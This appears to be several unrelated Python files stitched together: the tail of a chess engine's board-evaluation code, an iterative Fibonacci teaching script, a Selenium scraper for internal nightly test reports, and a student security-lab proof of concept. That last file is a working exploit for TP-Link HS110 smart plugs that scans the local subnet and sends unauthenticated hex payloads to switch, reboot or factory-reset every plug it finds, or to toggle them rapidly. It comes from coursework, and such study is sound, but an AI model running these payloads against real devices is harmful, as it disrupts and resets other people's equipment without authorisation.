            if score <= prevAlpha - posMargin[depth] and not (move.isCapture or gameState.isWhiteInCheck or gameState.isBlackInCheck) and globalDepth >= 4:
                break
    return alpha

def scoreProtectionsAndThreats(gameState: GameState):
    whiteThreats = gameState.bbOfThreats["w"] & gameState.bbOfOccupiedSquares["b"]
    whiteProtections = gameState.bbOfThreats["w"] & gameState.bbOfOccupiedSquares["w"]
    blackThreats = gameState.bbOfThreats["b"] & gameState.bbOfOccupiedSquares["w"]
    blackProtections = gameState.bbOfThreats["b"] & gameState.bbOfOccupiedSquares["b"]
    threatsDifference = getBitsCount(whiteThreats) - getBitsCount(blackThreats)
    protectionsDifference = getBitsCount(whiteProtections) - getBitsCount(blackProtections)
    return threatsDifference * 2 + protectionsDifference * 2

def scoreRookPositioning(gameState: GameState):
    score = 0
    for value in bbOfColumns.values():
        whiteRookPos = value & gameState.bbOfPieces["wR"]
        blackRookPos = value & gameState.bbOfPieces["bR"]
        if whiteRookPos | blackRookPos:
            whitePawnsPos = value & gameState.bbOfPieces["wp"]
            blackPawnsPos = value & gameState.bbOfPieces["bp"]
            whitePawnsCount = getBitsCount(whitePawnsPos)
            blackPawnsCount = getBitsCount(blackPawnsPos)
            if whiteRookPos:
                if blackPawnsCount == 0 and whitePawnsCount == 1:
                    score += 15
                elif whitePawnsCount == 0 and blackPawnsCount >= 1:
                    score += 20
                elif whitePawnsCount + blackPawnsCount == 0:
                    score += 30
            if blackRookPos:
                if whitePawnsCount == 0 and blackPawnsCount == 1:
                    score -= 15
                elif blackPawnsCount == 0 and whitePawnsCount >= 1:
                    score -= 20
                elif whitePawnsCount + blackPawnsCount == 0:
                    score -= 30
    whiteRookRowPos = bbOfRows["7"] & gameState.bbOfPieces["wR"]
    blackRookRowPos = bbOfRows["2"] & gameState.bbOfPieces["bR"]
    if blackRookRowPos:
        rooksCount = getBitsCount(blackRookRowPos)
        score -= rooksCount * 20
    if whiteRookRowPos:
        rooksCount = getBitsCount(whiteRookRowPos)
        score += rooksCount * 20
    whiteSplitPositions = numSplit(gameState.bbOfPieces["wR"])
    blackSplitPositions = numSplit(gameState.bbOfPieces["bR"])
    score += (len(whiteSplitPositions) - len(blackSplitPositions)) * pieceScores["R"]
    for position in whiteSplitPositions:
        pos = getPower(position)
        score += piecePositionScores["R"][pos // 8][pos % 8] * 10
    for position in blackSplitPositions:
        pos = getPower(position)
        score -= piecePositionScores["R"][pos // 8][pos % 8] * 10
    return score

def scoreKnightPositioning(gameState: GameState):
    knightMoves = {"w": 0, "b": 0}
    for color in COLORS:
        piece = color + "N"
        knightMoves[color] |= ((gameState.bbOfPieces[piece] & bbOfCorrections["h"]
                                                            & bbOfCorrections["78"]) << 15)
        knightMoves[color] |= ((gameState.bbOfPieces[piece] & bbOfCorrections["gh"]
                                                            & bbOfCorrections["8"]) << 6)
        knightMoves[color] |= ((gameState.bbOfPieces[piece] & bbOfCorrections["gh"]
                                                            & bbOfCorrections["1"]) >> 10)
        knightMoves[color] |= ((gameState.bbOfPieces[piece] & bbOfCorrections["h"]
                                                            & bbOfCorrections["12"]) >> 17)
        knightMoves[color] |= ((gameState.bbOfPieces[piece] & bbOfCorrections["a"]
                                                            & bbOfCorrections["12"]) >> 15)
        knightMoves[color] |= ((gameState.bbOfPieces[piece] & bbOfCorrections["ab"]
                                                            & bbOfCorrections["1"]) >> 6)
        knightMoves[color] |= ((gameState.bbOfPieces[piece] & bbOfCorrections["ab"]
                                                            & bbOfCorrections["8"]) << 10)
        knightMoves[color] |= ((gameState.bbOfPieces[piece] & bbOfCorrections["a"]
                                                            & bbOfCorrections["78"]) << 17)
    score = (getBitsCount(knightMoves["w"]) - getBitsCount(knightMoves["b"])) * 3
    whiteSplitPositions = numSplit(gameState.bbOfPieces["wN"])
    blackSplitPositions = numSplit(gameState.bbOfPieces["bN"])
    score += (len(whiteSplitPositions) - len(blackSplitPositions)) * pieceScores["N"]
    for position in whiteSplitPositions:
        pos = getPower(position)
        score += piecePositionScores["N"][pos // 8][pos % 8] * 10
    for position in blackSplitPositions:
        pos = getPower(position)
        score -= piecePositionScores["N"][pos // 8][pos % 8] * 10
    return score

def scoreBishopPositioning(gameState: GameState):
    score = 0
    for color in COLORS:
        piece = color + "B"
        enemyColor = "w" if color == "b" else "b"
        diffCount = 1 if color == "w" else -1
        splitPositions = numSplit(gameState.bbOfPieces[piece])
        for splitPosition in splitPositions:
            checkingSq = splitPosition
            while checkingSq & bbOfCorrections["h"] & bbOfCorrections["8"]:
                checkingSq <<= 7
                if checkingSq & gameState.bbOfPieces[f"{color}p"]:
                    break
                if checkingSq & gameState.bbOfPieces[f"{enemyColor}p"]:
                    score += diffCount
                    break
                score += diffCount
            checkingSq = splitPosition
            while checkingSq & bbOfCorrections["h"] & bbOfCorrections["1"]:
                checkingSq >>= 9
                if checkingSq & gameState.bbOfPieces[f"{color}p"]:
                    break
                if checkingSq & gameState.bbOfPieces[f"{enemyColor}p"]:
                    score += diffCount
                    break
                score += diffCount
            checkingSq = splitPosition
            while checkingSq & bbOfCorrections["a"] & bbOfCorrections["1"]:
                checkingSq >>= 7
                if checkingSq & gameState.bbOfPieces[f"{color}p"]:
                    break
                if checkingSq & gameState.bbOfPieces[f"{enemyColor}p"]:
                    score += diffCount
                    break
                score += diffCount
            checkingSq = splitPosition
            while checkingSq & bbOfCorrections["a"] & bbOfCorrections["8"]:
                checkingSq <<= 9
                if checkingSq & gameState.bbOfPieces[f"{color}p"]:
                    break
                if checkingSq & gameState.bbOfPieces[f"{enemyColor}p"]:
                    score += diffCount
                    break
                score += diffCount
    whiteSplitPositions = numSplit(gameState.bbOfPieces["wB"])
    blackSplitPositions = numSplit(gameState.bbOfPieces["bB"])
    score *= 4
    score += (len(whiteSplitPositions) - len(blackSplitPositions)) * pieceScores["B"]
    for position in whiteSplitPositions:
        pos = getPower(position)
        score += piecePositionScores["B"][pos // 8][pos % 8] * 10
    for position in blackSplitPositions:
        pos = getPower(position)
        score -= piecePositionScores["B"][pos // 8][pos % 8] * 10
    return score

def scoreKingSafety(gameState: GameState):
    score = 0
    if gameState.isWhiteCastled:
        score += 50
    if gameState.isBlackCastled:
        score -= 50
    if gameState.isWhiteInCheck:
        score -= 20
    if gameState.isBlackInCheck:
        score += 20
    for key, value in CASTLE_SIDES.items():
        if not gameState.getCastleRight(value):
            if key[0] == "w" and not gameState.isWhiteCastled:
                score -= 70
            elif key[0] == "b" and not gameState.isBlackCastled:
                score += 70
    for value in bbOfColumns.values():
        whiteKingPos = value & gameState.bbOfPieces["wK"]
        blackKingPos = value & gameState.bbOfPieces["bK"]
        if whiteKingPos:
            whitePawnsPos = value & gameState.bbOfPieces["wp"]
            whitePawnsCount = getBitsCount(whitePawnsPos)
            if whitePawnsCount == 0:
                score -= 30
        if blackKingPos:
            blackPawnsPos = value & gameState.bbOfPieces["bp"]
            blackPawnsCount = getBitsCount(blackPawnsPos)
            if blackPawnsCount == 0:
                score += 30
    return score

def scorePawnPositioning(gameState: GameState):
    score = 0
    for value in bbOfColumns.values():
        whitePawnsColumn = value & gameState.bbOfPieces["wp"]
        blackPawnsColumn = value & gameState.bbOfPieces["bp"]
        if (whitePawnsColumn | blackPawnsColumn) - whitePawnsColumn == 0:
            score += 10
        if (whitePawnsColumn | blackPawnsColumn) - blackPawnsColumn == 0:
            score -= 10
        whitePawnsCount = getBitsCount(whitePawnsColumn)
        blackPawnsCount = getBitsCount(blackPawnsColumn)
        if whitePawnsCount == 2:
            score -= 20
        if whitePawnsCount >= 3:
            score -= 30
        if blackPawnsCount == 2:
            score += 20
        if blackPawnsCount >= 3:
            score += 30
    whiteSplitPositions = numSplit(gameState.bbOfPieces["wp"])
    blackSplitPositions = numSplit(gameState.bbOfPieces["bp"])
    score += (len(whiteSplitPositions) - len(blackSplitPositions)) * pieceScores["p"]
    for position in whiteSplitPositions:
        pos = getPower(position)
        score += piecePositionScores["wp"][pos // 8][pos % 8] * 10
    for position in blackSplitPositions:
        pos = getPower(position)
        score -= piecePositionScores["bp"][pos // 8][pos % 8] * 10
    return score

def scoreQueenPositioning(gameState: GameState):
    score = 0
    if len(gameState.gameLog) < 20 and gameState.gameLog[-1].movedPiece[1] == "Q":
        if gameState.whiteTurn:
            score += 20
        else:
            score -= 20
    whiteSplitPositions = numSplit(gameState.bbOfPieces["wQ"])
    blackSplitPositions = numSplit(gameState.bbOfPieces["bQ"])
    score += (len(whiteSplitPositions) - len(blackSplitPositions)) * pieceScores["Q"]
    for position in whiteSplitPositions:
        pos = getPower(position)
        score += piecePositionScores["Q"][pos // 8][pos % 8] * 10
    for position in blackSplitPositions:
        pos = getPower(position)
        score -= piecePositionScores["Q"][pos // 8][pos % 8] * 10
    return score

def scoreCenterControl(gameState: GameState):
    whiteCenterControl = bbOfCenter & gameState.bbOfOccupiedSquares["w"]
    blackCenterControl = bbOfCenter & gameState.bbOfOccupiedSquares["b"]
    return (getBitsCount(whiteCenterControl) - getBitsCount(blackCenterControl)) * 30

pieceAdditionalPositionScores = {"Ks": scoreKingSafety, "Q": scoreQueenPositioning, "R": scoreRookPositioning,
                                 "K": scoreKnightPositioning, "B": scoreBishopPositioning, "p": scorePawnPositioning,
                                 "Cs": scoreCenterControl, "PT": scoreProtectionsAndThreats}

def scoreBoard(gameState: GameState, validMoves: list):
    if gameState.checkmate:
        if gameState.whiteTurn:
            return -CHECKMATE
        else:
            return CHECKMATE
    elif gameState.stalemate:
        return STALEMATE
    score = 0
    if gameState.whiteTurn:
        score += len(validMoves)
    else:
        score -= len(validMoves)
    for value in pieceAdditionalPositionScores.values():
        score += value(gameState)
    return score


# This file implements a Fibonacci sequence calculator using iteration.
# It is intended as a counterpart to the recursive Fibonacci calculator
# studied in class, which is much easier to read but significantly less
# efficient.

def fibonacci(n):
    # Hardcode the first two digits of the Fibonacci sequence
    if n == 0:
        return 0
    elif n == 1:
        return 1

    # Temporary storage for the two Fibonacci digits we are
    # currently working on. Start with the first 2 digits
    n0 = 0
    n1 = 1

    # Running total
    total = 0

    while n > 0:
        # Calculate the current total
        total = n0 + n1

        # Shift over our temporary variables:
        # For example:
        #
        #            Before:
        #       1      2       3
        #      n0     n1     total
        #
        #            After:
        #       2      3       5   ( 5 = 2 + 3)
        #      n0     n1     total
        n0 = n1
        n1 = total

        # We now have 1 less Fibonacci number to find
        n = n - 1

    return total

print(fibonacci(10000))


#!/usr/bin/env python3
# coding: utf-8

import os
from lxml import etree
from selenium import webdriver
from LTAF_nightly_2_release import Case
import time
import argparse
from datetime import datetime, timedelta
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC

class WarningCase(Case):
	"""docstring for ClassName"""
	def __init__(self, arg):
		self.me = arg.xpath('.//text()')
		self.boardname = arg.xpath('.//..//td[2]/text()')
		self.bits = arg.xpath('.//..//td[3]/text()')
		self.cpu = arg.xpath('.//..//td[5]/text()')
		self.mode = arg.xpath('.//..//td[6]/text()')
		self.tcp_64 = arg.xpath('.//..//td[8]/text()')
		self.tcp_1024 = arg.xpath('.//..//td[10]/text()')
		self.tcp_65536 = arg.xpath('.//..//td[12]/text()')
		self.udp_1400 = arg.xpath('.//..//td[14]/text()')

	def display_result(self):
		super().set_attr_tostring()
		list_result = [
			self.boardname,
			self.bits,
			self.cpu,
			self.mode
		]
		#print(type(self.udp_1400))
		dict_result = {
			self.tcp_64 : 'TCP_64',
			self.tcp_1024 : 'TCP_1024',
			self.tcp_65536 : 'TCP_65536',
			self.udp_1400 : 'UDP_1400'
		}

		if self.me in dict_result:
			list_result.append(dict_result[self.me])
			list_result.append(self.me)
		return list_result
		#print(list_result)

class Result(object):
	def __init__(self, source):
		self.source = source

	def get_result(self):
		html = etree.HTML(self.source)
		cases = html.xpath('//td[@style="color: rgb(255, 165, 0);"]')
		#cases = html.xpath('//td[@style="color: rgb(255, 165, 0);"]/..//td[2]/text()')
		#cases = html.xpath('//td[@class="baseline"]/text()')
		return cases

def screen_short(date, capture_type=None):
	#SCREEN_PATH = '/net/pek-vx-nwk1/buildarea1/hyan1/ScreenShort'
	SCREEN_PATH = '/folk/hyan1/Nightly/nightlyReport'
	#chrome_options = webdriver.ChromeOptions()
	#chrome_options.add_argument('--headless')
	#chrome_options.add_argument('--hide-scrollbars')
	#browser =webdriver.Chrome(options = chrome_options)
	#browser.get('http://pek-vx-nwk1/report/{}'.format(date))
	options = webdriver.FirefoxOptions()
	options.add_argument('-headless')
	browser = webdriver.Firefox(executable_path='/buildarea1/hyan1/flask/geckodriver', firefox_options=options)
	browser.get('http://pek-vx-nwk1/warning/{}'.format(date))
	#print(browser.page_source)
	wait = WebDriverWait(browser, 20)
	item = wait.until(EC.presence_of_element_located((By.ID, 'up')))
	#time.sleep(2)
	# generate pdf
	#google-chrome --headless --disable-gpu --print-to-pdf=sreenshort_2020-02-28.pdf http://pek-vx-nwk1/report/2020-02-28

	width = browser.execute_script("return document.documentElement.scrollWidth")
	height = browser.execute_script("return document.documentElement.scrollHeight")
	browser.set_window_size(width, height)
	time.sleep(2)
	#browser.save_screenshot('{}/sreenshort_{}_{}.png'.format(SCREEN_PATH, capture_type, date))
	browser.save_screenshot('{}/sreenshort_warning_cases.png'.format(SCREEN_PATH))
	browser.close()

def get_warning_case(date):
	#chrome_options = webdriver.ChromeOptions()
	#chrome_options.add_argument('--headless')
	#browser = webdriver.Chrome(options = chrome_options)

	options = webdriver.FirefoxOptions()
	options.add_argument('-headless')
	browser = webdriver.Firefox(executable_path='/buildarea1/hyan1/flask/geckodriver', firefox_options=options)
	browser.get('http://pek-vx-nwk1/report/{}'.format(date))
	wait = WebDriverWait(browser, 20)
	item = wait.until(EC.presence_of_all_elements_located((By.XPATH, '//td[@style="color: rgb(255, 165, 0);"]')))
	page_source = browser.page_source
	#time.sleep(5)
	#print(page_source)
	nightly_result = Result(page_source)
	#print(nightly_result.get_result())
	waring_result = nightly_result.get_result()
	#print(waring_result)
	list_result = []
	for result in waring_result:
		#print(result)
		case = WarningCase(result)
		#case.get_attr()
		warning_case = case.display_result()
		list_result.append(warning_case)
	#print(list_result)
	browser.close()
	return list_result

def time_delta(run_date):
    y = datetime.strptime(run_date, '%Y-%m-%d')
    z = datetime.now()
    diff = z - y
    return diff.days - 1

if __name__ == '__main__':
	parse = argparse.ArgumentParser()
	parse.add_argument('--run_date', help='run date', dest='run_date', required=True)
	args = parse.parse_args()
	date = args.run_date
	if time_delta(date) <= 0:
		screen_short(date)


'''
ECE419/CS460 Security Lab Project
Rishov Dutta (rsdutta2), Daniel Zhang (dzhang54)

This is proof-of-concept code to exploit the TP-Link HS110 Smart plug
by sending arbitrary commands to the plug without authentication nor
through the given app. This code can only be used locally, and can be
used on one or more plugs. The code can also detect all smart plugs on
the network.

Notes:
To improve performance on scan operations, used multithreading to access
128 ip's at once. Ran this for two batches to target a total of 256 ip's.
Increased speed of scan ~128x since no longer sequential for 256 iterations.

Refer to the report for more details.

This code should not be used to exploit anyone's plugs whatsoever.
'''

import socket
import time
import argparse
from threading import Thread

#runs specified command to target ip on port 9999 by sending tcp packets with payload collected from sniffing
#see report for how commands were gathered
def run_cmd(command_input, ip):
	try:
		socket.setdefaulttimeout(1)
		command = cmd[command_input.lower()]
		connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		connection.connect((ip, 9999))
		connection.send(command.decode('hex'))
		response = connection.recv(2048)
		if command_input.lower() not in ['on', 'off']:
			print ('{{{}'.format(decrypt_response(response)))
		connection.close()
	except Exception as e:
		print ('Could not run command on smart plug')
		print (e)
		connection.close()

#toggles plug at specified ip on and off over a certain duration with constant interval
def toggle_on_off(duration, rest, ip):
	start_time = time.time()
	try:
		while time.time() - start_time < duration:
			run_cmd('on', ip)
			time.sleep(rest)
			run_cmd('off', ip)
			time.sleep(rest)
	except Exception as e:
		print ('Could not run toggle for duration')
		print (e)

#scans entire network for plugs in parallel (had issues spawning 256 threads at once, so did 2 batches of 128)
def ip_scan():
	try:
		current_hostname = socket.gethostbyname(socket.gethostname())
		subnet_name = current_hostname[:current_hostname.rfind('.') + 1]
	except Exception as e:
		print ('No network found')
		print (e)
		return

	found_plugs = {0:[], 1:[]}
	threads = []
	for i in range(128):
		t = Thread(target=check_ip, args=('{}{}'.format(subnet_name, i), found_plugs))
		threads.append(t)
	for i in threads:
		i.start()
	for i in threads:
		i.join()

	threads = []
	for i in range(128, 256):
		t = Thread(target=check_ip, args=('{}{}'.format(subnet_name, i), found_plugs))
		threads.append(t)
	for i in threads:
		i.start()
	for i in threads:
		i.join()

	if len(found_plugs) > 0:
		print ('Found plugs at {}'.format(found_plugs[1]))
		return found_plugs[1]

#function to check individual ip if it is plug
def check_ip(ip, found_plugs):
	socket.setdefaulttimeout(.1)
	connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	connection.connect_ex((ip, 9999))
	try:
		connection.send('0000'.decode('hex'))
		connection.recv(1024)
		found_plugs[1].append(ip)
		connection.close()
	except Exception as e:
		found_plugs[0].append(ip)
		connection.close()

#TP-Link encryption algorithm as specified in report
def decrypt_response(string):
	key = 171
	result = ''
	for i in string:
		a = key ^ ord(i)
		key = ord(i)
		result += chr(a)
	return result[5:]

'''
Code usage instructions

-ip flag to specify specify ip of plug
-s flag to scan network for possible buld ip's
-c flag to specify commands from command list (use -h for full list)
-t flag for toggling for specific duration and intervals

example commands

python plug_attacks.py -ip 192.168.1.100 -c on: Turns plug at specified ip on

python plug_attacks.py -ip 192.168.1.100 -t 3 .5: toggles plug at specified ip on and off for 3 seconds at .5 second intervals

python plug_attacks.py -s: scans networks for all plugs

python plug_attacks.py -s -c on: scans network for all plugs and turns them all on

python plug_attacks.py -s -t 3 .5: toggles all plugs on network on and off for 3 seconds at .5 second intervals

'''

if __name__ == "__main__":
	cmd = {'on': '00000066d0f281f88bff9af7d5ef94b6c5a0d48bf99cf091e8b7c4b0d1a5c0e2d8a381f286e793f6d4eedfa2dff3d1b2ddb3c7a2daae8cb6cdef9cf386f497f2d0eac8aac9acc8fc99fccfe281e7d2e6cbffc8fec9e4ddeddfbe93a792f091f3c5f6c7f4c2a196b4c9b4',
			'off': '00000066d0f281f88bff9af7d5ef94b6c5a0d48bf99cf091e8b7c4b0d1a5c0e2d8a381f286e793f6d4eedea3def2d0b3dcb2c6a3dbaf8db7ccee9df287f596f3d1ebc9abc8adc9fd98fdcee380e6d3e7cafec9ffc8e5dcecdebf92a693f190f2c4f7c6f5c3a097b5c8b5',
			'info': '0000001dd0f281f88bff9af7d5ef94b6d1b4c09fec95e68fe187e8caf08bf68bf6',
			'nearby-networks': '00000028d0f29cf98de482a09ae1c3a4c1b5ea99fa9bf59cf294fbd9e398bac8adcbb9dcafc7e5dfef92ef92',
			'schedule': '0000001dd0f281e28aef8bfe92f7d5ef94b6d1b4c09fed98f491e2c0fa81fc81fc',
			'energy': '0000001ed0f297fa9feb8efcdee49fbddabfcb94e683e28efa93fe9bb983f885f885',
			'reboot': '00000021d0f281f88bff9af7d5ef94b6c4a1c3acc3b795afd4f692f79bfa83a19baad7aad7',
			'factory-reset': '00000020d0f281f88bff9af7d5ef94b6c4a1d2b7c3e1dba082e683ef8ef7d5efdea3dea3'}
	parser = argparse.ArgumentParser(description='CS460 Final Project TP-Link Smart Plug Exploits')
	ip_or_scan = parser.add_mutually_exclusive_group(required=True)
	ip_or_scan.add_argument('-ip', '--smart-plug-ip', dest='ip', metavar='<smart plug ip address>', help='Smart Plug IP address (192.168.X.Y, 10.0.0.X , etc)')
	ip_or_scan.add_argument('-s', '--scan', action='store_true', dest='scan', help='Scan for smart plugs')
	cmd_or_toggle = parser.add_mutually_exclusive_group(required=False)
	cmd_or_toggle.add_argument('-c', '--command', metavar='<command>', help='Command choices are: {}'.format([keys for keys in cmd]))
	cmd_or_toggle.add_argument('-t', '--toggle', nargs=2, dest='toggle', metavar=('<duration', 'interval>'), help='Toggle on and off, supply duration then interval (both in seconds)')
	args = parser.parse_args()

	if args.ip and (args.command is None and args.toggle is None):
	    parser.error('-ip/--smart-plug-ip requires -c/--command or -t/--toggle')

	if args.ip:
		if args.command:
			run_cmd(args.command, args.ip)
		else:
			toggle_on_off(float(args.toggle[0]), float(args.toggle[1]), args.ip)
	else:
		plugs = ip_scan()
		threads = []
		for plug in plugs:
			if args.command:
				threads.append(Thread(target=run_cmd, args=(args.command, plug)))
			elif args.toggle:
				threads.append(Thread(target=toggle_on_off, args=(float(args.toggle[0]), float(args.toggle[1]), plug)))
		for i in threads:
			i.start()
		for i in threads:
			i.join()
		if args.command or args.toggle:
			print ('Ran specified operation on plugs at {}'.format(plugs))